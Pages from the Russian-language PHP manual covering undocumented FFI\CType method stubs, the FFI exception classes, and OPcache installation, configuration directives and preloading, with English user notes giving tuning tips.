public FFI\CType::getFuncParameterCount(): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « FFI\CType::getFuncParameterCount
  • FFI\CType::getFuncReturnType »
  • PHP Manual
  • FFI\CType
  • Описание

FFI\CType::getFuncParameterType

(PHP 8 >= 8.1.0)

FFI\CType::getFuncParameterType — Описание

Описание

public FFI\CType::getFuncParameterType(int $index): FFI\CType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

index

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « FFI\CType::getFuncParameterType
  • FFI\CType::getKind »
  • PHP Manual
  • FFI\CType
  • Описание

FFI\CType::getFuncReturnType

(PHP 8 >= 8.1.0)

FFI\CType::getFuncReturnType — Описание

Описание

public FFI\CType::getFuncReturnType(): FFI\CType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « FFI\CType::getFuncReturnType
  • FFI\CType::getName »
  • PHP Manual
  • FFI\CType
  • Описание

FFI\CType::getKind

(PHP 8 >= 8.1.0)

FFI\CType::getKind — Описание

Описание

public FFI\CType::getKind(): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « FFI\CType::getKind
  • FFI\CType::getPointerType »
  • PHP Manual
  • FFI\CType
  • Описание

FFI\CType::getName

(PHP 7 >= 7.4.0, PHP 8)

FFI\CType::getName — Описание

Описание

public FFI\CType::getName(): string

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « FFI\CType::getName
  • FFI\CType::getSize »
  • PHP Manual
  • FFI\CType
  • Описание

FFI\CType::getPointerType

(PHP 8 >= 8.1.0)

FFI\CType::getPointerType — Описание

Описание

public FFI\CType::getPointerType(): FFI\CType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « FFI\CType::getPointerType
  • FFI\CType::getStructFieldNames »
  • PHP Manual
  • FFI\CType
  • Описание

FFI\CType::getSize

(PHP 8 >= 8.1.0)

FFI\CType::getSize — Описание

Описание

public FFI\CType::getSize(): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « FFI\CType::getSize
  • FFI\CType::getStructFieldOffset »
  • PHP Manual
  • FFI\CType
  • Описание

FFI\CType::getStructFieldNames

(PHP 8 >= 8.1.0)

FFI\CType::getStructFieldNames — Описание

Описание

public FFI\CType::getStructFieldNames(): array

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « FFI\CType::getStructFieldNames
  • FFI\CType::getStructFieldType »
  • PHP Manual
  • FFI\CType
  • Описание

FFI\CType::getStructFieldOffset

(PHP 8 >= 8.1.0)

FFI\CType::getStructFieldOffset — Описание

Описание

public FFI\CType::getStructFieldOffset(string $name): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « FFI\CType::getStructFieldOffset
  • FFI\Exception »
  • PHP Manual
  • FFI\CType
  • Описание

FFI\CType::getStructFieldType

(PHP 8 >= 8.1.0)

FFI\CType::getStructFieldType — Описание

Описание

public FFI\CType::getStructFieldType(string $name): FFI\CType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Исключения FFI

(PHP 7 >= 7.4.0, PHP 8)

Введение

Обзор классов

class FFI\Exception extends Error {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Исключения парсера FFI

(PHP 7 >= 7.4.0, PHP 8)

Введение

Обзор классов

final class FFI\ParserException extends FFI\Exception {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


OPcache

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Preloading
  • Функции OPcache
    • opcache_compile_file — Скомпилировать и закешировать, но не исполнять скрипт PHP
    • opcache_get_configuration — Получить конфигурационную информацию кеша
    • opcache_get_status — Получить информацию о состоянии кеша
    • opcache_invalidate — Аннулирует закешированный скрипт
    • opcache_is_script_cached — Проверяет, закеширован ли скрипт в OPCache
    • opcache_reset — Сбрасывает содержимое кеша опкодов

User Contributed Notes

There are no user contributed notes for this page.


Введение

OPcache улучшает производительность PHP путём сохранения скомпилированного байт-кода скриптов в разделяемой памяти, тем самым избавляя PHP от необходимости загружать и анализировать скрипты при каждом запросе.

Этот модуль доступен по умолчанию с PHP 5.5.0 и » доступен в PECL для версий 5.2, 5.3 и 5.4.

User Contributed Notes

There are no user contributed notes for this page.


Установка

OPcache можно собирать только как разделяемый модуль. Если вы запретили сборку модулей по умолчанию с помощью --disable-all, то вам будет необходимо компилировать PHP с ключом --enable-opcache для включения OPcache.

Единожды скомпилировав, вы можете использовать директиву конфигурации zend_extension для загрузки OPcache в PHP. Это можно сделать с помощью zend_extension=/full/path/to/opcache.so для платформ, отличных от Windows, и zend_extension=C:\path\to\php_opcache.dll в Windows.

Замечание:

Если вы хотите использовать OPcache с » Xdebug, то сперва нужно загружать OPcache, а потом Xdebug.

Рекомендованные настройки php.ini

Данные опции рекомендованы для обеспечения хорошей производительности:

opcache.memory_consumption=128
opcache.interned_strings_buffer=8
opcache.max_accelerated_files=4000
opcache.revalidate_freq=60
opcache.fast_shutdown=1 ; до PHP 7.2.0
opcache.enable_cli=1

Вы также можете рассмотреть возможность отключения opcache.save_comments и включения opcache.enable_file_override. Однако обратите внимание, что вам придётся протестировать свой код, прежде чем использовать его в промышленной эксплуатации так как известны случаи, когда некоторые фреймворки и приложения переставали работать, особенно в случае использования аннотаций в комментариях.

В Windows должен быть включён параметр opcache.file_cache_fallback и opcache.file_cache должна быть установлена на уже существующий и доступный для записи каталог.

Полный список опций настройки OPcache смотрите тут.

User Contributed Notes

stchr 03-Mar-2021 08:09
Please note that opcache.fast_shutdown was removed in PHP 7.2
NoiseEee 06-Mar-2014 04:34
While the "suggested" opcache settings for php.ini might be appropriate for a production server, you're going to want to change several while you're developing, or you're not going to see any changes to your code. Get familiar with what they mean before blindly pasting that into php.ini and assuming things are going to work well.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки OPcache
Имя | По умолчанию | Место изменения | Список изменений
opcache.enable | "1" | PHP_INI_ALL |
opcache.enable_cli | "0" | PHP_INI_SYSTEM | В версиях с PHP 7.1.2 по 7.1.6 включительно, значение по умолчанию "1" (включено)
opcache.memory_consumption | "128" | PHP_INI_SYSTEM |
opcache.interned_strings_buffer | "8" | PHP_INI_SYSTEM |
opcache.max_accelerated_files | "10000" | PHP_INI_SYSTEM |
opcache.max_wasted_percentage | "5" | PHP_INI_SYSTEM |
opcache.use_cwd | "1" | PHP_INI_SYSTEM |
opcache.validate_timestamps | "1" | PHP_INI_ALL |
opcache.revalidate_freq | "2" | PHP_INI_ALL |
opcache.revalidate_path | "0" | PHP_INI_ALL |
opcache.save_comments | "1" | PHP_INI_SYSTEM |
opcache.fast_shutdown | "0" | PHP_INI_SYSTEM |
opcache.enable_file_override | "0" | PHP_INI_SYSTEM |
opcache.optimization_level | "0x7FFEBFFF" | PHP_INI_SYSTEM | До PHP 7.3.0 было 0x7FFFBFFF
opcache.inherited_hack | "1" | PHP_INI_SYSTEM | Удалено в PHP 7.3.0
opcache.dups_fix | "0" | PHP_INI_ALL |
opcache.blacklist_filename | "" | PHP_INI_SYSTEM |
opcache.max_file_size | "0" | PHP_INI_SYSTEM |
opcache.consistency_checks | "0" | PHP_INI_ALL | Недоступно с PHP 8.1.18 и 8.2.5. Удалено в PHP 8.3.0.
opcache.force_restart_timeout | "180" | PHP_INI_SYSTEM |
opcache.error_log | "" | PHP_INI_SYSTEM |
opcache.log_verbosity_level | "1" | PHP_INI_SYSTEM |
opcache.record_warnings | "0" | PHP_INI_SYSTEM | Доступно с PHP 8.0.0.
opcache.preferred_memory_model | "" | PHP_INI_SYSTEM |
opcache.protect_memory | "0" | PHP_INI_SYSTEM |
opcache.mmap_base | null | PHP_INI_SYSTEM |
opcache.restrict_api | "" | PHP_INI_SYSTEM |
opcache.file_update_protection | "2" | PHP_INI_ALL |
opcache.huge_code_pages | "0" | PHP_INI_SYSTEM |
opcache.lockfile_path | "/tmp" | PHP_INI_SYSTEM |
opcache.opt_debug_level | "0" | PHP_INI_SYSTEM | Доступно с PHP 7.1.0
opcache.file_cache | NULL | PHP_INI_SYSTEM |
opcache.file_cache_only | "0" | PHP_INI_SYSTEM |
opcache.file_cache_consistency_checks | "1" | PHP_INI_SYSTEM |
opcache.file_cache_fallback | "1" | PHP_INI_SYSTEM |
opcache.validate_permission | "0" | PHP_INI_SYSTEM | Доступно с PHP 7.0.14
opcache.validate_root | "0" | PHP_INI_SYSTEM | Доступно с PHP 7.0.14
opcache.preload | "" | PHP_INI_SYSTEM | Доступно с PHP 7.4.0
opcache.preload_user | "" | PHP_INI_SYSTEM | Доступно с PHP 7.4.0
opcache.cache_id | "" | PHP_INI_SYSTEM | Только в Windows. Доступно с PHP 7.4.0
opcache.jit | "tracing" | PHP_INI_ALL | Доступно с PHP 8.0.0
opcache.jit_buffer_size | "0" | PHP_INI_SYSTEM | Доступно с PHP 8.0.0
opcache.jit_debug | "0" | PHP_INI_ALL | Доступно с PHP 8.0.0
opcache.jit_bisect_limit | "0" | PHP_INI_ALL | Доступно с PHP 8.0.0
opcache.jit_prof_threshold | "0.005" | PHP_INI_ALL | Доступно с PHP 8.0.0
opcache.jit_max_root_traces | "1024" | PHP_INI_SYSTEM | Доступно с PHP 8.0.0
opcache.jit_max_side_traces | "128" | PHP_INI_SYSTEM | Доступно с PHP 8.0.0
opcache.jit_max_exit_counters | "8192" | PHP_INI_SYSTEM | Доступно с PHP 8.0.0
opcache.jit_hot_loop | "64" | PHP_INI_SYSTEM | Доступно с PHP 8.0.0
opcache.jit_hot_func | "127" | PHP_INI_SYSTEM | Доступно с PHP 8.0.0
opcache.jit_hot_return | "8" | PHP_INI_SYSTEM | Доступно с PHP 8.0.0
opcache.jit_hot_side_exit | "8" | PHP_INI_SYSTEM | Доступно с PHP 8.0.0
opcache.jit_blacklist_root_trace | "16" | PHP_INI_ALL | Доступно с PHP 8.0.0
opcache.jit_blacklist_side_trace | "8" | PHP_INI_ALL | Доступно с PHP 8.0.0
opcache.jit_max_loop_unrolls | "8" | PHP_INI_ALL | Доступно с PHP 8.0.0
opcache.jit_max_recursive_calls | "2" | PHP_INI_ALL | Доступно с PHP 8.0.0
opcache.jit_max_recursive_returns | "2" | PHP_INI_ALL | Доступно с PHP 8.0.0
opcache.jit_max_polymorphic_calls | "2" | PHP_INI_ALL | Доступно с PHP 8.0.0
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

opcache.enable bool

Разрешает кеширование опкодов. Если запрещено, код не будет оптимизироваться и кешироваться. Опцию opcache.enable нельзя включить во время исполнения с помощью ini_set(), но можно выключить. Попытка включить её таким образом приведёт к генерации предупреждения.

opcache.enable_cli bool

Разрешает кеширование опкодов для CLI-версии PHP.

opcache.memory_consumption int

Размер разделяемой памяти в мегабайтах для OPcache. Минимально допустимое значение — "8", которое применяется, если установлено меньшее значение.

opcache.interned_strings_buffer int

Количество памяти в мегабайтах для хранения интернированных строк.

opcache.max_accelerated_files int

Максимальное количество ключей (и, соответственно, скриптов) в хеш-таблице OPcache. Фактическое используемое значение будет первым числом из набора { 223, 463, 983, 1979, 3907, 7963, 16229, 32531, 65407, 130987, 262237, 524521, 1048793 }, которое больше или равно заданному в этом параметре. Минимум 200, максимум 1000000. Значения за пределами этого диапазона ограничены до допустимого диапазона.

opcache.max_wasted_percentage int

Максимальное значение потерянной памяти (в процентах) после которого планируется перезапуск, если недостаточно свободной памяти. Максимально допустимое значение: "50", которое применяется, если установлено большее значение.

opcache.use_cwd bool

Если включено, OPcache добавляет текущую рабочую директорию к ключу скрипта, тем самым устраняя возможность коллизий для файлов с одинаковым именем. Отключение этой опции повышает производительность, но может привести к сбоям.

opcache.validate_timestamps bool

Если включено, OPcache будет проверять актуальность закешированных скриптов каждые opcache.revalidate_freq секунд. Когда запрещено, вы можете перезапустить OPcache вручную с помощью opcache_reset(), opcache_invalidate() или перезапустив веб-сервер для того, чтобы изменения вступили в силу.

Замечание: OPcache всё ещё может проверять временную метку файла во время компиляции, если для опций opcache.file_update_protection или opcache.max_file_size установлены ненулевые значения.

opcache.revalidate_freq int

Как часто в секундах проверять временные метки файлов. 0 приведёт к тому, что OPcache будет производить эту проверку при каждом запросе.

Эта директива игнорируется, если выключена opcache.validate_timestamps.

opcache.revalidate_path bool

Если выключено, существующие закешированные файлы, использующие один и тот же include_path, будут повторно использоваться. Таким образом, если файл с тем же именем находится в другом месте в include_path, он не будет найден.

opcache.save_comments bool

Если выключено, все комментарии будут отброшены из кеша опкодов для минимизации размера кода. Отключение этой опции может привести к тому, что некоторые фреймворки, полагающиеся на аннотации в комментариях, перестанут работать, включая Doctrine, Zend Framework 2 и PHPUnit.

opcache.fast_shutdown bool

Если включено, то будет использована быстрая последовательность перезагрузки, при которой не происходит очистки всех выделенных блоков памяти. Вместо этого для освобождения всего набора переменных используется стандартный менеджер памяти Zend Engine.

Эта директива была удалена в PHP 7.2.0. Вариант быстрой последовательности перезагрузки был интегрирован в PHP и автоматически будет использоваться, если это возможно.

opcache.enable_file_override bool

Если включено, то кеш опкодов будет проверять, закеширован ли уже файл при вызове функций file_exists(), is_file() и is_readable(). Это может повысить производительность для приложений, проверяющих присутствие и доступность для чтения скриптом PHP, но несёт риск возврата устаревших данных, если запрещена опция opcache.validate_timestamps.

opcache.optimization_level int

Битовая маска, контролирующая, какие шаги оптимизации выполняются. По умолчанию применяются все безопасные оптимизации. Изменение значения по умолчанию в основном полезно для отладки/разработки оптимизатора (смотрите также opcache.opt_debug_level).

opcache.inherited_hack bool

Эта директива игнорируется.

opcache.dups_fix bool

Этот хак требуется только для обхода ошибок "Cannot redeclare class".

opcache.blacklist_filename string

Местоположение чёрного списка OPcache. Файл чёрного списка содержит имена файлов, которые не нужно ускорять, по одной записи на строку. Допустимы шаблоны поиска и префиксы. Строки, начинающиеся с точки с запятой игнорируются

Пример простого чёрного списка:

; Указываем конкретный файл.
/var/www/broken.php
; Префикс, обозначающий все файлы, начинающиеся с x.
/var/www/x
; Шаблон поиска.
/var/www/*-broken.php
opcache.max_file_size int

Максимальный размер файла для кеширования в байтах. Если задать 0, то кешироваться будут все файлы.

opcache.consistency_checks int

Если не ноль, OPcache будет сверять контрольную сумму кеша каждые N запросов, где N — заданное в этой директиве значение. Рекомендуется включать только при отладке, так как сильно влияет на производительность.

Замечание:

Недоступно с PHP 8.1.18 и 8.2.5. Удалено в PHP 8.3.0.

opcache.force_restart_timeout int

Количество секунд ожидания освобождения кеша, после которого будет принудительно произведён запланированный перезапуск. Если это время превышено, OPcache считает, что происходит что-то неправильное и убивает процесс, блокирующий кеш.

Если параметр opcache.log_verbosity_level задать равным 2 или больше, то, при возникновении подобной ситуации, в лог ошибок будет записано предупреждение.

Директива не поддерживается в Windows.

opcache.error_log string

Лог ошибок OPcache. Пустая строка считается как stderr, и ошибки будут выведены в стандартный поток ошибок (в большинстве случаев это лог ошибок веб-сервера).

opcache.log_verbosity_level int

Уровень подробности лога ошибок. По умолчанию будут записываться только фатальные ошибки (уровень 0) и ошибки (уровень 1). Также значения могут быть следующими: предупреждения (уровень 2), информационные сообщения (уровень 3) и сообщения отладки (уровень 4).

opcache.record_warnings bool

Если включено, OPcache запишет предупреждения во время компиляции и воспроизведёт их при следующем включении, даже если оно выполняется из кеша.

opcache.preferred_memory_model string

Предпочитаемая модель памяти для OPcache. Если оставить пустым, то OPcache самостоятельно выберет наиболее подходящую модель, которая будет вести себя корректно практически в любых случаях.

Возможные значения включают mmap, shm, posix и win32.

opcache.protect_memory bool

Защищает разделяемую память от неожиданной записи во время запуска скриптов. Полезно только для внутренней отладки.

opcache.mmap_base string

Базовое значение для сегмента разделяемой памяти в Windows. Все процессы PHP должны отображать разделяемую память в одинаковое адресное пространство. Данная опция помогает починить ошибки типа "Unable to reattach to base address".

opcache.restrict_api string

Позволяет вызывать функции API OPcache только скриптам, чей путь начинается с указанной строки. Значение по умолчанию "" означает отсутствие ограничений.

opcache.file_update_protection string

Исключит кеширование файлов, с момента изменения которых прошло меньше секунд, чем указано. Это защищает от кеширования не полностью обновлённых файлов. Если все обновления файлов атомарны, можно повысить производительность, задав этот параметр равным 0. Это разрешит закешировать файлы немедленно.

opcache.huge_code_pages bool

Включает или отключает копирование кода PHP (текстового сегмента) в HUGE PAGES. Это может повысить производительность, но требует соответствующих системных настроек. Доступно в Linux начиная с PHP 7.0.0 и FreeBSD начиная с PHP 7.4.0.

opcache.lockfile_path string

Абсолютный путь к хранилищу общих файлов блокировок (только *nix)

opcache.opt_debug_level string

Производит вывод опкодов для отладки разных этапов оптимизации. 0x10000 приведёт к выводу опкодов как только они сгенерированы компилятором, до применения какой-либо оптимизации. 0x20000 приведёт к выводу опкодов после оптимизации.

opcache.file_cache string

Разрешает и задаёт директорию кеша второго уровня. Это должно повысить производительность в случае, если память SHM заполнена, сервер перезапущен или SHM сброшена. Значение по умолчанию "" запрещает кеширование на файловой системе.

opcache.file_cache_only bool

Включает или выключает кеширование опкодов в разделяемой памяти.

Замечание:

До PHP 8.1.0 отключение этой директивы с уже заполненным файловым кешем требовало ручной очистки файлового кеша.

opcache.file_cache_consistency_checks bool

Включает или выключает проверку контрольной суммы при загрузке скрипта из файлового кеша.

opcache.file_cache_fallback bool

Применяет opcache.file_cache_only=1 для некоторых процессов, которые завершились ошибкой при переподключении к разделяемой памяти (только для Windows). Требуется явно разрешённое кеширование на файловую систему.

Предостережение

Отключение этой опции конфигурации может помешать запуску процессов, и поэтому не рекомендуется.

opcache.validate_permission bool

Проверяет права доступа к кешированному файлу для текущего пользователя.

opcache.validate_root bool

Предотвращает коллизии имён в chroot-окружении. Должно быть включено для всех случаев использования chroot-окружений для предотвращения доступа к файлам за пределами chroot.

opcache.preload string

Задаёт скрипт PHP, который будет скомпилирован и запущен при старте сервера и сможет предзагрузить другие файлы, либо с помощью include, либо используя функцию opcache_compile_file(). Все сущности (например функции и классы), определённые в этих файлах, автоматически будут доступны до момента выключения сервера.

Замечание:

Предварительная загрузка не поддерживается в Windows.

opcache.preload_user string

Позволяет запускать предварительную загрузку от имени указанного пользователя системы. Полезно для серверов, которые запускаются от имени root перед переключением на непривилегированного пользователя системы. По умолчанию предварительная загрузка от имени root запрещена по соображениям безопасности, если только этой директиве явно не установлено значение root.

opcache.cache_id string

В Windows все процессы, выполняющие один и тот же PHP SAPI под одной и той же учётной записью пользователя с одинаковым идентификатором кеша, совместно используют один экземпляр OPcache. Значение идентификатора кеша может быть свободно выбрано.

Подсказка

Для IIS разные пулы приложений могут иметь собственный экземпляр OPcache, используя переменную среды APP_POOL_ID как opcache.cache_id.

opcache.jit string|int

Для обычного использования параметр принимает одно из четырёх строковых значений:

  • disable: Полностью отключён, не может быть включён во время выполнения.
  • off: Отключено, но может быть включено во время выполнения.
  • tracing/on: Используйте трассировку JIT. Включено по умолчанию и рекомендуется для большинства пользователей.
  • function: Используйте функцию JIT.

Для расширенного использования параметр принимает 4-значное целое число CRTO, где цифры означают:

C (Флаги оптимизации для процессора)
  • 0: Отключить оптимизацию для ЦП.
  • 1: Включите использование AVX, если ЦП поддерживает его.
R (распределение регистров)
  • 0: Не выполнять распределение регистров.
  • 1: Выполнять выделение локального блочного регистра.
  • 2: Выполнять выделение глобального регистра.
T (триггер)
  • 0: Компиляция всех функций при загрузке скрипта.
  • 1: Компиляция функций при первом выполнении.
  • 2: Профилирование функций при первом запросе и затем компилирование самых популярных функций.
  • 3: Профилирование на лету и компиляция горячих функций.
  • 4: В настоящее время не используется.
  • 5: Использование трассировки JIT. Профилирование на лету и компиляция трассировки для горячих сегментов кода.
O (уровень оптимизации)
  • 0: Без JIT.
  • 1: Минимальный JIT (вызов стандартных обработчиков виртуальных машин).
  • 2: Встроенные обработчики виртуальных машин.
  • 3: Использовать вывод типа.
  • 4: Использовать график вызовов.
  • 5: Оптимизировать весь скрипт.
Режим "tracing" соответствует CRTO = 1254, Режим "function" соответствует CRTO = 1205.

opcache.jit_buffer_size int

Объем разделяемой памяти, резервируемый для скомпилированного JIT-кода. Нулевое значение отключает JIT.

Если используется int, значение измеряется байтами. Вы также можете использовать сокращённую запись, которая описана в этом разделе FAQ.
opcache.jit_debug int

Битовая маска, определяющая, какой вывод отладки JIT следует включить. Возможные значения смотрите в файле » zend_jit.h (поиск макроопределений, начинающихся с ZEND_JIT_DEBUG).

opcache.jit_bisect_limit int

Опция отладки, отключающая JIT-компиляцию после компиляции определённого количества функций. Может быть полезно для разделения источника неправильной компиляции JIT. Примечание: этот параметр работает, только если для триггера JIT установлено значение 0 (компиляция при загрузке скрипта) или 1 (компиляция при первом выполнении), например, opcache.jit=1215. Подробнее смотрите в разделе opcache.jit.

opcache.jit_prof_threshold float

При использовании режима триггера "профилирование функций при первом запросе" этот порог определяет, считается ли функция горячей. Количество вызовов функции, разделённое на количество вызовов всех функций, должно быть выше порогового значения. Например, порог 0,005 означает, что функции, составляющие более 0,5% всех вызовов, будут скомпилированы JIT.

opcache.jit_max_root_traces int

Максимальное количество корневых стеков вызова. Корневой стек вызова — это поток выполнения, проходящий по коду сначала по одному пути, что является единицей компиляции JIT. JIT не будет компилировать новый код, если он достигнет этого предела.

opcache.jit_max_side_traces int

Максимальное количество боковых стеков вызова, которые может иметь корневой стек. Боковой стек вызова — это другой поток выполнения, который не следует по пути скомпилированного корневого стека вызова. Боковые стеки вызова, принадлежащие одному и тому же корневому стеку вызова, не будут компилироваться, если они достигают этого предела.

opcache.jit_max_exit_counters int

Максимальное количество счётчиков выхода бокового стека вызова. Это ограничивает общее количество боковых стеков, которые могут быть во всех корневых стеках.

opcache.jit_hot_loop int

Через сколько итераций цикл считается горячим. Допустимый диапазон значений: [0,255]; для любого значения вне этого диапазона, например, -1 или 256, будет использоваться значение по умолчанию. В частности, нулевое значение отключит JIT для отслеживания и компиляции любых циклов.

opcache.jit_hot_func int

Через сколько вызовов функция считается горячей. Допустимый диапазон значений: [0,255]; для любого значения вне этого диапазона, например, -1 или 256, будет использоваться значение по умолчанию. В частности, нулевое значение отключит JIT для отслеживания и компиляции любых функций.

opcache.jit_hot_return int

Через сколько возвратов возврат считается горячим. Допустимый диапазон значений: [0,255]; для любого значения вне этого диапазона, например, -1 или 256, будет использоваться значение по умолчанию. В частности, нулевое значение отключит JIT для отслеживания и компиляции любых возвратов.

opcache.jit_hot_side_exit int

Через сколько выходов боковой стек считается горячим. Допустимый диапазон значений: [0,255]; для любого значения вне этого диапазона, например, -1 или 256, будет использоваться значение по умолчанию. В частности, нулевое значение отключит JIT для отслеживания и компиляции любых побочных выходов.

opcache.jit_blacklist_root_trace int

Максимальное количество попыток компиляции корневой трассировки, прежде чем она будет занесена в чёрный список.

opcache.jit_blacklist_side_trace int

Максимальное количество попыток компиляции боковой трассировки до того, как она будет занесена в чёрный список.

opcache.jit_max_loop_unrolls int

Максимальное количество попыток развернуть цикл в боковой трассировке, пытаясь достичь корневой трассировки и закрыть внешний цикл.

opcache.jit_max_recursive_calls int

Максимальное количество развёрнутых рекурсивных циклов вызова.

opcache.jit_max_recursive_returns int

Максимальное количество развёрнутых рекурсивных циклов возврата.

opcache.jit_max_polymorphic_calls int

Максимальное количество попыток встроенных полиморфных (динамических или методических) вызовов. Вызовы выше этого лимита обрабатываются как метаморфические и не встраиваются.

User Contributed Notes

carneiro at isharelife dot com dot br 08-Jan-2020 03:39
If you try to allocate more memory that is available using opcache.memory_consumption PHP stops working without any logs to help on debugging. This issue took me 4 hours to solve when creating a staging server with same configrations and less memory that was available on production server.
tizian dot schmidlin at gmail dot com 15-Apr-2019 09:41
It should be noted that according to the original RFC (https://wiki.php.net/rfc/preload) `opcache.preload` caches preloaded files *forever* for all instances of the underlying PHP process.

That means, that hosting multiple websites on the same server might result in some unexpected behaviour.

Concrete example:
- you have a Symfony 3.2 App (which might be an endpoint of some type) and a Symfony 3.4 App (which might be your main application)
- both apps have a main Class called App that is in the same namespace (as it is usual, since the class name is unique to each project)
- depending on which app is loaded first, one or the other will work, since `opcache.preload` has no file based distinction of what class is used where and simply provides them to the user space

This is avoidable by simply not preloading user space classes or, if you work with FPM, by defining a pool for each app.

In order to optimize memory consumption, you might also use a common FPM Pool for all Symfony 3.4 Apps and preload the entire framework in there and simply not preload user space classes (which might be cached by opcache anyway but is slower, since it will be checked if the file has changed on every request).
wessos at example dot org 12-Dec-2018 10:53
The optimization levels as of php 7.3 are the following:

#define ZEND_OPTIMIZER_PASS_1        (1<<0)   /* CSE, STRING construction     */
#define ZEND_OPTIMIZER_PASS_2        (1<<1)   /* Constant conversion and jumps */
#define ZEND_OPTIMIZER_PASS_3        (1<<2)   /* ++, +=, series of jumps      */
#define ZEND_OPTIMIZER_PASS_4        (1<<3)   /* INIT_FCALL_BY_NAME -> DO_FCALL */
#define ZEND_OPTIMIZER_PASS_5        (1<<4)   /* CFG based optimization       */
#define ZEND_OPTIMIZER_PASS_6        (1<<5)   /* DFA based optimization       */
#define ZEND_OPTIMIZER_PASS_7        (1<<6)   /* CALL GRAPH optimization      */
#define ZEND_OPTIMIZER_PASS_8        (1<<7)   /* SCCP (constant propagation)  */
#define ZEND_OPTIMIZER_PASS_9        (1<<8)   /* TMP VAR usage                */
#define ZEND_OPTIMIZER_PASS_10        (1<<9)   /* NOP removal                 */
#define ZEND_OPTIMIZER_PASS_11        (1<<10)  /* Merge equal constants       */
#define ZEND_OPTIMIZER_PASS_12        (1<<11)  /* Adjust used stack           */
#define ZEND_OPTIMIZER_PASS_13        (1<<12)  /* Remove unused variables     */
#define ZEND_OPTIMIZER_PASS_14        (1<<13)  /* DCE (dead code elimination) */
#define ZEND_OPTIMIZER_PASS_15        (1<<14)  /* (unsafe) Collect constants */
#define ZEND_OPTIMIZER_PASS_16        (1<<15)  /* Inline functions */

Source: https://lxr.room11.org/xref/php-src%40master/ext/opcache/Optimizer/zend_optimizer.h
damien at overeem dot org 27-Jan-2017 04:35
When using PHP on a windows platform and enabling opcache, you might run into occasional 500 errors. These will appear to show up entirely random.

When this happens, your windows Event log (Windows Logs/Application) will show (probably multiple)  entries from Zend OPcache with Event ID 487. Further information will state the following error message: "Base address marks unusable memory region".

This issue can be resolved by adding the following to your php.ini:

    opcache.mmap_base = 0x20000000

Unfortunately I do not know the significance of the value "0x20000000". I can only tell you that this value works to solve the problem (Tried and tested)
bdurand at ensemblegroup dot net 12-Jan-2017 11:19
It would appear as though the [opcache.enable] setting is indeed NOT PHP_INI_ALL.
For changing it within user.ini yields no effect when disabled at global level. user.ini is ignored for that setting.
BR 14-Nov-2015 01:13
opcache.max_wasted_percentage must have a value between 1 and 50. Otherwise it will automatically set the variable 5 %.


Preloading

Начиная с PHP 7.4.0 можно настроить предзагрузку скриптов в opcache в момент старта PHP. Любые функции, классы, интерфейсы или трейты (но не константы) в этих файлах будут глобально доступны для всех запросов без необходимости их явной загрузки. Такая предзагрузка позволяет добиться большего удобства и производительности (потому что код всегда доступен) за счёт использования большего количества памяти. Также, при внесении изменений в предзагруженные скрипты, чтобы эти изменения стали доступны, придётся перезагрузить PHP. Из этого следует, что предзагрузку имеет смысл использовать только в производственном окружении, но не в окружении разработки.

Обратите внимание, что баланс повышения производительности и потребления памяти сильно зависит от приложения. «Предзагрузка всего на свете» может быть простейшей стратегией, но совсем не обязательно лучшей. Также, предзагрузка будет работать только в случае, когда PHP работает в режиме обслуживания запросов без перезагрузки. Таким образом, хоть предзагрузку и можно использовать в режиме CLI с включённым opcache, но в большинстве случаев бессмысленно. Исключением является использование предзагрузки с библиотеками FFI.

Замечание:

Предзагрузка не поддерживается в Windows.

